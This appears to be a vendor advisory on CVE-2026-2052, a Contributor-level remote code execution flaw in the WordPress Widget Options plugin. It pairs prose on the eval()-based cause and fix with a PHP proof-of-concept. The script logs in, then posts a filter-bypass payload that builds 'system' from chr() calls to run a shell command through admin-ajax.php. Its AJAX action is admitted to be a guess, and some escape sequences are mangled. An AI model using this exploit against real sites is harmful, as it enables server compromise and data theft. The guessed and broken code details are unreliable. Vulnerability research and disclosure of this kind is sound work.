Atomic Edge analysis of CVE-2026-2052 (metadata-based): This vulnerability allows authenticated attackers with Contributor-level access to execute arbitrary PHP code on the server. The flaw exists in the Display Logic feature of the Widget Options plugin version 4.2.2 and earlier. The vulnerability has a CVSS score of 8.8 (High) and falls under CWE-94 (Code Injection).
The root cause is the plugin’s use of PHP’s eval() function on user-supplied Display Logic expressions. The description states that the plugin implements an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation. This is an inferred root cause based on the CWE-94 classification and the description. The lack of authorization enforcement on the extended_widget_opts_block attribute allows attackers to inject these expressions without proper capability checks. Partial patching in version 4.2.0 suggests the first patch was incomplete.
Exploitation requires an authenticated WordPress session with Contributor privileges or higher. The attacker sends a crafted request to the WordPress AJAX handler (admin-ajax.php) or through widget block editor REST endpoints. The payload injects a Display Logic expression that uses array_map with callable string concatenation to bypass the filter. For example, an expression like array_map(‘system’, array(‘id’)) or using chr() and string concatenation to construct malicious function calls. The plugin evaluates this expression via eval(), executing the attacker’s PHP code.
The fix must replace eval() with a safe expression evaluator that does not execute arbitrary PHP code. The plugin should use a sandboxed evaluation approach or parse expressions without using eval(). Proper capability checks must enforce that only users with appropriate permissions (like manage_options) can modify Display Logic expressions. Input sanitization and strict allowlists for allowed functions and operators are also necessary.
Successful exploitation grants the attacker Remote Code Execution (RCE) as the web server user. This leads to complete site compromise, including data theft, malware injection, privilege escalation to administrator, and potential server takeover. The attacker can read, modify, or delete any WordPress data, install backdoors, and pivot to other systems on the network.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2052 - Widget Options <= 4.2.2 - Authenticated (Contributor+) Remote Code Execution via Display Logic
<?php
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor'; // WordPress user with Contributor role or higher
$password = 'password'; // User's password
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Step 2: Verify login by fetching admin dashboard
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Check for successful login (presence of 'wp-admin' in response indicates success)
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials or URL.');
}
echo "[+] Logged in successfully.n";
// Step 3: Exploit via AJAX action (likely extended_widget_opts or widget_options_save)
// The AJAX action name is inferred from the plugin slug 'extended-widget-options'.
// Assumption: The plugin registers 'wp_ajax_widget_options_save' or similar handler.
// If the actual action differs, adjust accordingly.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The payload uses array_map with string concatenation to bypass filters.
// Example: "array_map('s'.'ystem', array('id'))" constructs 'system' dynamically.
// We'll execute simple 'id' command to confirm RCE.
$payload = "array_map(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109), array('id'))";
$post_data = [
'action' => 'widget_options_save', // Hypothetical AJAX action; change if needed
'display_logic' => $payload,
'widget_id' => 'test_widget_1',
// Additional parameters for the block attribute: extended_widget_opts_block
'extended_widget_opts_block' => '1'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// Step 4: Check response for command output
if (preg_match('/uid=d+/', $response)) {
echo "[+] Command execution successful! Output: " . $response . "n";
} else {
echo "[-] Exploit may have failed or command output not visible. Response: " . substr($response, 0, 500) . "n";
}
curl_close($ch);
?>
